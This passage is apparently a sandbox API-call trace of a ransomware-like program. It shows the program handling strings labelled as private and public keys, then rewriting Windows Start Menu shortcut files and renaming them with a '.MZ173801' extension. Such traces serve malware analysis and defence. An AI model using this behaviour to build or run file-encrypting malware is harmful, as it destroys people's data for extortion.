cFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0212.911] GetCurrentThreadId () returned 0xab4 [0212.911] GetCurrentThreadId () returned 0xab4 [0212.911] GetCurrentThreadId () returned 0xab4 [0212.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0212.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0212.912] GetCurrentThreadId () returned 0xab4 [0212.912] GetCurrentThreadId () returned 0xab4 [0212.912] GetCurrentThreadId () returned 0xab4 [0212.912] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows media player.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.912] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0212.912] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.913] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x543 [0212.913] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.913] ReadFile (in: hFile=0x330, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x543, lpOverlapped=0x0) returned 1 [0212.916] CloseHandle (hObject=0x330) returned 1 [0212.916] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows media player.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.917] WriteFile (in: hFile=0x330, lpBuffer=0x24cae00*, nNumberOfBytesToWrite=0x543, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cae00*, lpNumberOfBytesWritten=0x19f48c*=0x543, lpOverlapped=0x0) returned 1 [0212.918] CloseHandle (hObject=0x330) returned 1 [0212.918] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows media player.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Media Player.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows media player.lnk.mz173801")) returned 1 [0212.919] GetCurrentThreadId () returned 0xab4 [0212.919] GetCurrentThreadId () returned 0xab4 [0212.919] GetCurrentThreadId () returned 0xab4 [0212.919] GetCurrentThreadId () returned 0xab4 [0212.919] GetCurrentThreadId () returned 0xab4 [0212.919] GetCurrentThreadId () returned 0xab4 [0212.919] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653f2a91, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x653f2a91, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x653f2a91, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Wordpad.lnk", cAlternateFileName="")) returned 1 [0212.919] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0212.919] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0212.919] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653f2a91, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x653f2a91, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x653f2a91, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x482)) returned 1 [0212.926] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk")) returned 0x20 [0212.927] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk", dwFileAttributes=0x80) returned 1 [0212.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0212.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0212.929] GetCurrentThreadId () returned 0xab4 [0212.929] GetCurrentThreadId () returned 0xab4 [0212.929] GetCurrentThreadId () returned 0xab4 [0212.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 